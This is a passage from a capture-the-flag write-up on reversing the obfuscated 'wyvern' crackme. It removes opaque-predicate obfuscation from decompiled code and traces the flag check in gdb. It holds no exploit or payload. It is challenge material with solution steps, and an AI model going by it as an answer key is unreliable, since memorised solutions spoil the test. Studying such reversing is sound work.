      basic_string(this,puVar3[-0x48]);
    } while ((x25 * (x25 + -1) & 1U) != 0 && 9 < y26);
                    /* try { // try from 0040484b to 00404853 has its
CatchHandler @ 004048fb */
    *(undefined8 *)(puVar3 + -0x48) = 0x404854;
    local_50 = sanitize_input((char)this,puVar3[-0x48]);
    if ((x25 * (x25 + -1) & 1U) == 0 || y26 < 10) goto LAB_0040489f;
    do {
      *puVar2 = local_50;
      *(undefined8 *)(puVar3 + -0x48) = 0x404f1d;
      ~basic_string(this,puVar3[-0x48]);
LAB_0040489f:
      *puVar2 = local_50;
      *(undefined8 *)(puVar3 + -0x48) = 0x4048b1;
      ~basic_string(this,puVar3[-0x48]);
    } while ((x25 * (x25 + -1) & 1U) != 0 && 9 < y26);
  }
  do {
  } while ((x25 * (x25 + -1) & 1U) != 0 && 9 < y26);
  return (ulong)*puVar2;
}
```

So looking at this code, it becomes apparant that it has been obfuscated. Obfuscating code means that it has essentially been made harder to reverse and understand what it does. Throughout this code, we see a lot of code segments like this:

```
((x25 * (x25 + -1) & 1U) == 0 || y26 < 10)
```

and this:

```
while ((x25 * (x25 + -1) & 1U) != 0 && 9 < y26)
```

This is a part of the obfuscation. Thing is, in these statements they reference variables like `x25` and `y26`. The thing is, these variables are never given a non-zero value. That way their value is `0`. As a result this expression:

```
((x25 * (x25 + -1) & 1U) == 0 || y26 < 10)
```

really means this:

```
((0 * (0 + -1) & 1U) == 0 || 0 < 10)
```

So realistically, these statements are just a complicated way of stating things like `if (true)`. These statements evaluate to the following:

```
((x25 * (x25 + -1) & 1U) == 0 || y26 < 10)
```

^ evaluates to true

```
((x25 * (x25 + -1) & 1U) != 0 && 9 < y26)
```

^ evaluates to false

So going through and editing the code (I just did this in a text editor) to remove some of the obfuscation, we are left with this:

```
/* start_quest(std::basic_string<char, std::char_traits<char>,
std::allocator<char>>) */

ulong start_quest(basic_string param_1)

{
  undefined *puVar1;
  uint *puVar2;
  long inputLength;
  undefined *this;
  undefined *puVar3;
  undefined auStack152 [8];
  undefined8 local_90;
  uint local_50;
  bool lenCheck;

  puVar3 = auStack152;
  puVar1 = auStack152;
LAB_004043a4:
    puVar2 = (uint *)(puVar3 + -0x10);
    this = puVar3 + -0x20;
    *(undefined8 *)(puVar3 + -0x48) = 0x4043f5;
    push_back(hero,&secret_100,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40440e;
    push_back(hero,&secret_214,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404427;
    push_back(hero,&secret_266,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404440;
    push_back(hero,&secret_369,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404459;
    push_back(hero,&secret_417,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404472;
    push_back(hero,&secret_527,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40448b;
    push_back(hero,&secret_622,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4044a4;
    push_back(hero,&secret_733,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4044bd;
    push_back(hero,&secret_847,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4044d6;
    push_back(hero,&secret_942,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4044ef;
    push_back(hero,&secret_1054,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404508;
    push_back(hero,&secret_1106,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404521;
    push_back(hero,&secret_1222,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40453a;
    push_back(hero,&secret_1336,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404553;
    push_back(hero,&secret_1441,puVar3[-0x48]);
```

```
    *(undefined8 *)(puVar3 + -0x48) = 0x40456c;
    push_back(hero,&secret_1540,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404585;
    push_back(hero,&secret_1589,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40459e;
    push_back(hero,&secret_1686,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4045b7;
    push_back(hero,&secret_1796,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4045d0;
    push_back(hero,&secret_1891,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4045e9;
    push_back(hero,&secret_1996,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404602;
    push_back(hero,&secret_2112,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40461b;
    push_back(hero,&secret_2165,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404634;
    push_back(hero,&secret_2260,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40464d;
    push_back(hero,&secret_2336,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404666;
    push_back(hero,&secret_2412,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x40467f;
    push_back(hero,&secret_2498,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x404698;
    push_back(hero,&secret_2575,puVar3[-0x48]);
    *(undefined8 *)(puVar3 + -0x48) = 0x4046a1;
    inputLength = length(puVar3[-0x48]);
    lenCheck = inputLength + -1 != (long)(legend >> 2);
    puVar1 = puVar3 + -0x40;

  if (lenCheck) {

  }
  else {
                    /* try { // try from 0040484b to 00404853 has its
CatchHandler @ 004048fb */
    *(undefined8 *)(puVar3 + -0x48) = 0x404854;
    local_50 = sanitize_input((char)this,puVar3[-0x48]);
    if ((x25 * (x25 + -1) & 1U) == 0 || y26 < 10) goto LAB_0040489f;
      *puVar2 = local_50;
      *(undefined8 *)(puVar3 + -0x48) = 0x404f1d;
      ~basic_string(this,puVar3[-0x48]);
LAB_0040489f:
      *puVar2 = local_50;
      *(undefined8 *)(puVar3 + -0x48) = 0x4048b1;
      ~basic_string(this,puVar3[-0x48]);
  }

  return (ulong)*puVar2;
}
```

This looks much readable. Starting off we see `28` calls to `push_back`. Looking at the calls in gdb tell us roughly what they do:

Before the call:

```
Breakpoint 1, 0x0000000000404409 in start_quest(std::string) ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x0
$rdx   : 0xffffffff
$rsp   : 0x00007fffffffdcd0  →  0x0000000000000000
$rbp   : 0x00007fffffffdda0  →  0x00007fffffffdf70  →  0x000000000040e5b0  →
<__libc_csu_init+0> push r15
$rsi   : 0x0000000000610140  →  0x0000010a000000d6
$rdi   : 0x00000000006102f8  →  0x00000000006236c0  →  0x0000000000000064 ("d"?)
$rip   : 0x0000000000404409  →  <start_quest(std::string)+185> call 0x405750
<_ZNSt6vectorIiSaIiEE9push_backERKi>
$r8    : 0x0
$r9    : 0xffffffff
$r10   : 0x1
$r11   : 0xffffff01
$r12   : 0x00000000004013bb  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe050  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdcd0│+0x0000: 0x0000000000000000     ← $rsp
0x00007fffffffdcd8│+0x0008: 0x0000000000000000
0x00007fffffffdce0│+0x0010: 0x0000000000000000
0x00007fffffffdce8│+0x0018: 0x0000000000000000
0x00007fffffffdcf0│+0x0020: 0x0000000000000000
0x00007fffffffdcf8│+0x0028: 0x0000000000000000
0x00007fffffffdd00│+0x0030: 0x0000000000000000
0x00007fffffffdd08│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4043f0 <start_quest(std::string)+160> call   0x405750
<_ZNSt6vectorIiSaIiEE9push_backERKi>
     0x4043f5 <start_quest(std::string)+165> movabs rdi, 0x6102f8
     0x4043ff <start_quest(std::string)+175> movabs rsi, 0x610140
 →   0x404409 <start_quest(std::string)+185> call   0x405750
<_ZNSt6vectorIiSaIiEE9push_backERKi>
   ↳    0x405750 <std::vector<int,+0> push   rbp
        0x405751 <std::vector<int,+0> mov    rbp, rsp
        0x405754 <std::vector<int,+0> push   r15
        0x405756 <std::vector<int,+0> push   r14
        0x405758 <std::vector<int,+0> push   rbx
        0x405759 <std::vector<int,+0> sub    rsp, 0x38
─────────────────────────────────────────────────────── arguments (guessed) ────
_ZNSt6vectorIiSaIiEE9push_backERKi (
   $rdi = 0x00000000006102f8 → 0x00000000006236c0 → 0x0000000000000064 ("d"?),
   $rsi = 0x0000000000610140 → 0x0000010a000000d6
)
```

```
──────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "wyvern", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────── trace ────
[#0] 0x404409 → start_quest(std::string)()
[#1] 0x40e266 → main()
─────────────────────────────────────────────────────────────────────
gef➤
```

With the next call, we see this:

```
0x0000000000404422 in start_quest(std::string) ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x0
$rdx   : 0xffffffff
$rsp   : 0x00007fffffffdcd0  →  0x0000000000000000
$rbp   : 0x00007fffffffdda0  →  0x00007fffffffdf70  →  0x000000000040e5b0  →
<__libc_csu_init+0> push r15
$rsi   : 0x0000000000610144  →  0x000001710000010a
$rdi   : 0x00000000006102f8  →  0x00000000006236e0  →  0x000000d600000064 ("d"?)
$rip   : 0x0000000000404422  →  <start_quest(std::string)+210> call 0x405750
<_ZNSt6vectorIiSaIiEE9push_backERKi>
$r8    : 0x0
$r9    : 0xffffffff
$r10   : 0x1
$r11   : 0xffffff01
$r12   : 0x00000000004013bb  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe050  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdcd0│+0x0000: 0x0000000000000000    ← $rsp
0x00007fffffffdcd8│+0x0008: 0x0000000000000000
0x00007fffffffdce0│+0x0010: 0x0000000000000000
0x00007fffffffdce8│+0x0018: 0x0000000000000000
0x00007fffffffdcf0│+0x0020: 0x0000000000000000
0x00007fffffffdcf8│+0x0028: 0x0000000000000000
0x00007fffffffdd00│+0x0030: 0x0000000000000000
0x00007fffffffdd08│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────── code:x86:64 ────
     0x404409 <start_quest(std::string)+185> call   0x405750
<_ZNSt6vectorIiSaIiEE9push_backERKi>
     0x40440e <start_quest(std::string)+190> movabs rdi, 0x6102f8
     0x404418 <start_quest(std::string)+200> movabs rsi, 0x610144
 →   0x404422 <start_quest(std::string)+210> call   0x405750
<_ZNSt6vectorIiSaIiEE9push_backERKi>
   ↳    0x405750 <std::vector<int,+0> push   rbp
        0x405751 <std::vector<int,+0> mov    rbp, rsp
        0x405754 <std::vector<int,+0> push   r15
        0x405756 <std::vector<int,+0> push   r14
        0x405758 <std::vector<int,+0> push   rbx
        0x405759 <std::vector<int,+0> sub    rsp, 0x38
───────────────────────────────────────────────────── arguments (guessed) ────
_ZNSt6vectorIiSaIiEE9push_backERKi (
   $rdi = 0x00000000006102f8 → 0x00000000006236e0 → 0x000000d600000064 ("d"?),
   $rsi = 0x0000000000610144 → 0x000001710000010a
)
```

```
─────────────────────────────────────────────────────────────── threads ───
[#0] Id 1, Name: "wyvern", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────── trace ───
[#0] 0x404422 → start_quest(std::string)()
[#1] 0x40e266 → main()
───────────────────────────────────────────────────────────────────────────
gef➤
```

So we can see that it is essentially writing one byte of data to an array. Each byte is written to the lowest byte of a four byte segment. We can also see that the byte being written matches the `secret` value with the call. So essentially this is just making an array of `28` bytes, where each byte is stored in a `4` byte segment.

After that we have a check for the length of our input:

```
    inputLength = length(puVar3[-0x48]);
    lenCheck = inputLength + -1 != (long)(legend >> 2);
    puVar1 = puVar3 + -0x40;

  if (lenCheck) {

  }
```

We can see that the value of `legend` is `0x73`:

```
                                     legend
XREF[5]:     Entry Point(*),

sanitize_input:00401ece(R),

start_quest:004046a7(R),

start_quest:00404760(R),

start_quest:00404ee4(R)
        00610138 73 00 00 00     undefined4 00000073h
```

`0x73 >> 2 = 28`, which also corresponds to the number of `push_back` calls made earlier. So our input has to be `28` bytes (not counting the null byte). The final portion of the code runs the `sanitize_input` function, and essentially just returns the value of it. The rest of the checks will happen in that function:

```
    local_50 = sanitize_input((char)this,puVar3[-0x48]);
```

Transfers data:

```
      *puVar2 = local_50;
```

Returns it:

```
return (ulong)*puVar2;
```

Sanitize Input

Looking at `sanitize_input` function initially, we see this:

```
/* sanitize_input(std::basic_string<char, std::char_traits<char>,
std::allocator<char>>) */

ulong sanitize_input(basic_string param_1)

{
  uint uVar1;
  uint *puVar2;
  undefined4 *this;
  undefined4 *puVar3;
  undefined4 *puVar4;
  undefined7 in_register_00000039;
  bool bVar5;
  undefined auStack392 [24];
  undefined4 *local_170;
  uint local_144;
  basic_ostream *local_140;
  bool local_136;
  bool local_135;
  bool local_134;
  bool local_133;
  bool local_132;
  uint *local_108;
  long local_100;
  uint local_f8;
  bool local_f2;
  bool local_f1;
  int local_f0;
  bool local_e9;
  int local_e8;
  bool local_e1;
  int *local_e0;
  long local_d8;
  bool local_ca;
  bool local_c9;
  undefined8 local_c8;
  bool local_b9;
  long local_b8;
  bool local_a9;
  char *local_a8;
  bool local_99;
  long local_98;
  bool local_8a;
  bool local_89;
  undefined4 *local_88;
  uint *local_80;
  undefined4 *local_78;
  undefined4 *local_70;
  int *local_68;
  uint *i;
```

```
  puVar3 = (undefined4 *)auStack392;
  puVar4 = (undefined4 *)auStack392;
  do {
  } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
  if ((x17 * (x17 + -1) & 1U) == 0 || y18 < 10) goto LAB_00401da6;
  do {
    puVar3 = puVar4 + -0x10;
    *(undefined8 *)(puVar4 + -0x12) = 0x403db1;
    local_170 = puVar3;
    vector(puVar4 + -0xc,*(undefined *)(puVar4 + -0x12));
    *local_170 = 0;
LAB_00401da6:
    puVar2 = puVar3 + -4;
    this = puVar3 + -0xc;
    i = puVar3 + -0x10;
    local_68 = puVar3 + -0x14;
    local_78 = puVar3 + -0x1c;
    local_80 = puVar3 + -0x20;
    local_88 = puVar3 + -0x28;
    puVar4 = puVar3 + -0x2c;
    *(undefined8 *)(puVar3 + -0x2e) = 0x401e2c;
    local_70 = puVar4;
    vector(this,*(undefined *)(puVar3 + -0x2e));
    *i = 0;
  } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
  while( true ) {
    do {
      local_89 = (int)*i < legend >> 2;
    } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
    if (!local_89) goto LAB_00403729;
    do {
      local_8a = (x17 * (x17 + -1) & 1U) == 0 || y18 < 10;
    } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
    do {
      do {
        local_98 = (long)(int)*i;
        bVar5 = (x17 * (x17 + -1) & 1U) == 0;
        local_99 = bVar5 || y18 < 10;
      } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
    } while (!bVar5 && y18 >= 10);
    do {
    } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
                    /* try { // try from 0040217d to 00402879 has its
CatchHandler @ 00402e05 */
    *(undefined8 *)(puVar3 + -0x2e) = 0x40218d;
    local_a8 = (char *)operator[]
(CONCAT71(in_register_00000039,param_1),local_98,
                                 *(undefined *)(puVar3 + -0x2e));
    if ((x17 * (x17 + -1) & 1U) == 0 || y18 < 10) goto LAB_004021dc;
    do {
      if ((x3 * (x3 + -1) & 1U) == 0 || y4 < 10) goto LAB_00403e10;
      do {
        *local_68 = (int)*local_a8;
```

```
LAB_00403e10:
        *local_68 = (int)*local_a8;
      } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
LAB_004021dc:
      *local_68 = (int)*local_a8;
    } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
    do {
    } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
    *(undefined8 *)(puVar3 + -0x2e) = 0x4022c4;
    push_back(this,local_68,*(undefined *)(puVar3 + -0x2e));
    do {
      local_a9 = (x17 * (x17 + -1) & 1U) == 0 || y18 < 10;
    } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
    if (local_a9) goto LAB_0040239d;
    do {
      *local_80 = *i;
LAB_0040239d:
      if ((x3 * (x3 + -1) & 1U) == 0 || y4 < 10) goto LAB_004023e0;
      do {
        *local_80 = *i;
LAB_004023e0:
        *local_80 = *i;
        local_b8 = (long)(int)*local_80;
        bVar5 = (x17 * (x17 + -1) & 1U) == 0;
        local_b9 = bVar5 || y18 < 10;
      } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
    } while (!bVar5 && y18 >= 10);
    *(undefined8 *)(puVar3 + -0x2e) = 0x40249a;
    local_c8 = length(*(undefined *)(puVar3 + -0x2e));
    do {
      local_c9 = (x17 * (x17 + -1) & 1U) == 0 || y18 < 10;
    } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
    uVar1 = (uint)((ulong)local_c8 >> 0x20);
    if (local_c9) goto LAB_0040257a;
    do {
      *local_80 = (uint)local_b8 & uVar1 >> 8 | 0x1c;
LAB_0040257a:
      *local_80 = (uint)local_b8 & uVar1 >> 8 | 0x1c;
      local_ca = *local_80 != 0;
    } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
    do {
    } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
    if (local_ca) {
      do {
        local_d8 = (long)(int)*i;
      } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
      *(undefined8 *)(puVar3 + -0x2e) = 0x402739;
      local_e0 = (int *)operator[](hero,local_d8,*(undefined *)(puVar3 +
-0x2e));
      do {
        local_e1 = (x17 * (x17 + -1) & 1U) == 0 || y18 < 10;
      } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
      do {
```

```
        local_e8 = *local_e0;
      } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
      *(undefined8 *)(puVar3 + -0x2e) = 0x40287a;
      vector(local_88,this,*(undefined *)(puVar3 + -0x2e));
      do {
        local_e9 = (x17 * (x17 + -1) & 1U) == 0 || y18 < 10;
      } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
      do {
      } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
      do {
      } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
                    /* try { // try from 00402a1c to 00402a24 has its
CatchHandler @ 00402f44 */
      *(undefined8 *)(puVar3 + -0x2e) = 0x402a25;
      local_f0 = transform_input((int)local_88,*(undefined *)(puVar3 + -0x2e));
      if ((x17 * (x17 + -1) & 1U) == 0 || y18 < 10) goto LAB_00402a73;
      do {
        do {
        } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
LAB_00402a73:
        local_f1 = local_e8 == local_f0;
      } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
      do {
      } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
                    /* try { // try from 00402b58 to 00402d49 has its
CatchHandler @ 00402e05 */
      *(undefined8 *)(puVar3 + -0x2e) = 0x402b61;
      ~vector(local_88,*(undefined *)(puVar3 + -0x2e));
      do {
        local_f2 = (x17 * (x17 + -1) & 1U) == 0 || y18 < 10;
      } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
      do {
      } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
      if ((local_f1 & 1U) != 0) {
        do {
          local_f8 = *local_80;
          local_100 = (long)(int)*i;
        } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
        *(undefined8 *)(puVar3 + -0x2e) = 0x402d4a;
        local_108 = (uint *)operator[](hero,local_100,*(undefined *)(puVar3 +
-0x2e));
        if ((x17 * (x17 + -1) & 1U) == 0 || y18 < 10) goto LAB_00402d99;
        do {
          *local_80 = (uint)((int)(local_f8 & *local_108) < 0);
LAB_00402d99:
          *local_80 = (uint)((int)(local_f8 & *local_108) < 0);
        } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
      }
      if ((x17 * (x17 + -1) & 1U) == 0 || y18 < 10) goto LAB_0040315a;
      do {
        do {
        } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
LAB_0040315a:
```

```
      } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
    }
    do {
      do {
        local_132 = *local_80 != 0;
        bVar5 = (x17 * (x17 + -1) & 1U) == 0;
        local_133 = bVar5 || y18 < 10;
      } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
    } while (!bVar5 && y18 >= 10);
    do {
    } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
    if (local_132) break;
    do {
      local_135 = (x17 * (x17 + -1) & 1U) == 0 || y18 < 10;
    } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
    do {
    } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
    do {
    } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
    if ((x17 * (x17 + -1) & 1U) == 0 || y18 < 10) goto LAB_0040368e;
    do {
      *i = *i + 1;
LAB_0040368e:
      *i = *i + 1;
    } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
  }
  do {
    local_134 = (x17 * (x17 + -1) & 1U) == 0 || y18 < 10;
  } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
  if (local_134) goto LAB_0040343d;
  do {
    *puVar2 = (*i & 1) << 8;
    *local_70 = 1;
LAB_0040343d:
    *puVar2 = (*i & 1) << 8;
    *local_70 = 1;
  } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
LAB_004038bd:
  if ((x17 * (x17 + -1) & 1U) == 0 || y18 < 10) goto LAB_00403900;
  do {
    *(undefined8 *)(puVar3 + -0x2e) = 0x40411c;
    ~vector(this,*(undefined *)(puVar3 + -0x2e));
LAB_00403900:
    *(undefined8 *)(puVar3 + -0x2e) = 0x403909;
    ~vector(this,*(undefined *)(puVar3 + -0x2e));
    local_144 = *puVar2;
  } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
  do {
  } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
  return (ulong)local_144;
LAB_00403729:
  do {
    local_136 = (x17 * (x17 + -1) & 1U) == 0 || y18 < 10;
```

```
  } while ((x3 * (x3 + -1) & 1U) != 0 && 9 < y4);
  do {
  } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
                    /* try { // try from 004037fd to 0040380f has its
CatchHandler @ 00402e05 */
  *(undefined8 *)(puVar3 + -0x2e) = 0x403810;
  local_140 = operator<<<std--char_traits<char>>(cout,"success\n",*(undefined
*)(puVar3 + -0x2e));
  if ((x17 * (x17 + -1) & 1U) == 0 || y18 < 10) goto LAB_0040385f;
  do {
    *puVar2 = 0x1337;
    *local_70 = 1;
LAB_0040385f:
    *puVar2 = 0x1337;
    *local_70 = 1;
  } while ((x17 * (x17 + -1) & 1U) != 0 && 9 < y18);
  goto LAB_004038bd;
}
```

So let's start going through this. First we can see that there is an iteration counter, which is initialized here:

```
    *i = 0;
```

You can see it checked here. It checks to see if it is greater than `28`:

```
      lenCheck = (int)*i < legend >> 2;
    if (!lenCheck) goto LAB_00403729;
```

And it is incremented here:

```
      *i = *i + 1;
```

Checking `LAB_00403729`, we see that it is probably the code path we want to take in order to solve the challenge:

```
LAB_00403729:
  *(undefined8 *)(puVar3 + -0x2e) = 0x403810;
  local_140 = operator<<<std--char_traits<char>>(cout,"success\n",*(undefined
*)(puVar3 + -0x2e));
  if ((x17 * (x17 + -1) & 1U) == 0 || y18 < 10) goto LAB_0040385f;
    *puVar2 = 0x1337;
    *local_70 = 1;
LAB_0040385f:
    *puVar2 = 0x1337;
    *local_70 = 1;
  goto LAB_004038bd;
```

In order to execute that code path, we will need to run this loop `28` times.

Later on, we can see that the actual check it performs is here:

```
passedCheck = heroValue == transformedValue;
```

The first time we hit the check, it looks like it just checking the first character of our input against the first `hero` value:

```
gef➤  b *0x402a7f
Breakpoint 1 at 0x402a7f
gef➤  r
Starting program: /Hackery/pod/modules/obfuscated_reversing/csaw15_wyvern/wyvern
+-----------------------+
|    Welcome Hero       |
+-----------------------+

[!] Quest: there is a dragon prowling the domain.
  brute strength and magic is our only hope. Test your skill.

Enter the dragon's secret: d0000000000000000000000000000

Breakpoint 1, 0x0000000000402a7f in sanitize_input(std::string) ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0x64
$rbx   : 0x0
$rcx   : 0x64
$rdx   : 0xffffffff
$rsp   : 0x00007fffffffda70  →  0x0000000000000000
$rbp   : 0x00007fffffffdca0  →  0x00007fffffffdd80  →  0x00007fffffffdf50  →
0x000000000040e5b0  →  <__libc_csu_init+0> push r15
$rsi   : 0xffffff01
$rdi   : 0x1
$rip   : 0x0000000000402a7f  →  <sanitize_input(std::string)+3519> cmp eax, ecx
$r8    : 0x1
$r9    : 0xffffffff
$r10   : 0x1
$r11   : 0x1
$r12   : 0x0000000000401301  →  <_GLOBAL__sub_I_wyvern.cpp+81> mov eax, DWORD
PTR ds:0x610420
$r13   : 0x00007fffffffe001  →  0x3000000000004013
$r14   : 0x0
$r15   : 0xffffffff
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffda70│+0x0000: 0x0000000000000000   ← $rsp
0x00007fffffffda78│+0x0008: 0x0000000000000000
0x00007fffffffda80│+0x0010: 0x00000000006236f0  →  0x0000000000000064 ("d"?)
0x00007fffffffda88│+0x0018: 0x00000000006236f4  →  0x0000000000000000
0x00007fffffffda90│+0x0020: 0x00000000006236f4  →  0x0000000000000000
0x00007fffffffda98│+0x0028: 0x0000000000000000
0x00007fffffffdaa0│+0x0030: 0x000000000000001c
0x00007fffffffdaa8│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────── code:x86:64 ────
     0x402a6e <sanitize_input(std::string)+3502> jmp    0x403eb3
<_Z14sanitize_inputSs+8691>
     0x402a73 <sanitize_input(std::string)+3507> mov    eax, DWORD PTR
[rbp-0xe0]
```

```
     0x402a79 <sanitize_input(std::string)+3513> mov    ecx, DWORD PTR
[rbp-0xe8]
 →   0x402a7f <sanitize_input(std::string)+3519> cmp    eax, ecx
     0x402a81 <sanitize_input(std::string)+3521> sete   dl
     0x402a84 <sanitize_input(std::string)+3524> mov    esi, DWORD PTR
ds:0x610594
     0x402a8b <sanitize_input(std::string)+3531> mov    edi, DWORD PTR
ds:0x610434
     0x402a92 <sanitize_input(std::string)+3538> mov    r8d, esi
     0x402a95 <sanitize_input(std::string)+3541> sub    r8d, 0x1
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "wyvern", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x402a7f → sanitize_input(std::string)()
[#1] 0x404854 → start_quest(std::string)()
[#2] 0x40e266 → main()
───────────────────────────────────────────────────────────────────────────────
gef➤  p $eax
$1 = 0x64
gef➤  p $ecx
$2 = 0x64
gef➤  x/g 0x6102f8
0x6102f8 <hero>:  0x623790
gef➤  x/g 0x623790
0x623790: 0xd600000064
```

However the second time around, it looks a bit different. It is still checking our input against the `hero` value we would expect, however the value our input influences is different from what we would expect:

```
Breakpoint 1, 0x0000000000402a7f in sanitize_input(std::string) ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0xd6
$rbx   : 0x0
$rcx   : 0x94
$rdx   : 0xffffffff
$rsp   : 0x00007fffffffda70  →  0x0000000000000000
$rbp   : 0x00007fffffffdca0  →  0x00007fffffffdd80  →  0x00007fffffffdf50  →
0x000000000040e5b0  →  <__libc_csu_init+0> push r15
$rsi   : 0xffffff01
$rdi   : 0x1
$rip   : 0x0000000000402a7f  →  <sanitize_input(std::string)+3519> cmp eax, ecx
$r8    : 0x1
$r9    : 0xffffffff
$r10   : 0x1
$r11   : 0x1
$r12   : 0x0000000000401301  →  <_GLOBAL__sub_I_wyvern.cpp+81> mov eax, DWORD
PTR ds:0x610420
$r13   : 0x00007fffffffe001  →  0x3000000000004013
$r14   : 0x0
$r15   : 0xffffffff
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffda70│+0x0000: 0x0000000000000000   ← $rsp
0x00007fffffffda78│+0x0008: 0x0000000000000000
0x00007fffffffda80│+0x0010: 0x00000000006236d0  →  0x0000003000000064 ("d"?)
